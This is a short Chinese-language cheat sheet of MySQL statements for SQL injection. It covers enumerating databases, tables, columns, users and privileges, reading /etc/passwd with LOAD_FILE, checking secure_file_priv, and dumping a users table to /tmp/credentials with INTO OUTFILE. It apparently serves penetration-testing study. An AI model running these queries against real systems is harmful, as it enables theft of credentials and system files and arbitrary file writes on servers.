SQL注入可能用到的语句
MySQL版本号
SELECT @@version
INFORMATION_SCHEMA中的SCHEMATA表存储了服务器上所有数据库的信息,其中SCHEMA_NAME列记录了现有的所有数据库名称。
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
获取当前数据库名称
SELECT database()
TABLES 表存储着整个数据库中所有表的信息,TABLE_NAME 列存储表名,而 TABLE_SCHEMA 列指向每个表所属的数据库。
select TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES
COLUMNS 表包含所有数据库中所有列的信息
select COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS
返回当前会话建立时使用的用户名和客户端主机地址
SELECT USER()
返回MySQL服务器用于验证当前客户端权限的用户名和主机名
SELECT CURRENT_USER()
从系统表 mysql.user 中查询所有存在的用户账户的用户名(不包含主机信息)
SELECT user FROM mysql.user
查询测试是否具备超级管理员权限
SELECT super_priv FROM mysql.user
grantee: 权限被授予的用户,格式为 'username'@'hostname'
privilege_type: 具体的权限类型,如 SELECT, INSERT, UPDATE 等
SELECT grantee, privilege_type FROM information_schema.user_privileges
读取文件
SELECT LOAD_FILE('/etc/passwd');
文件写入权限
要通过MySQL数据库向后端服务器写入文件,我们需要满足三个条件:
用户拥有启用的FILE权限
MySQL全局变量secure_file_priv未启用
对后端服务器上目标写入位置有写入权限
我们已经发现当前用户拥有写入文件所需的FILE权限。现在必须检查MySQL数据库是否具备该权限,可以通过检查secure_file_priv全局变量来实现。
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
将 users 表的内容保存到 /tmp/credentials 文件中
SELECT * from users INTO OUTFILE '/tmp/credentials';
SELECT 字符串写入文件,这样就能向后端服务器写入任意内容
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';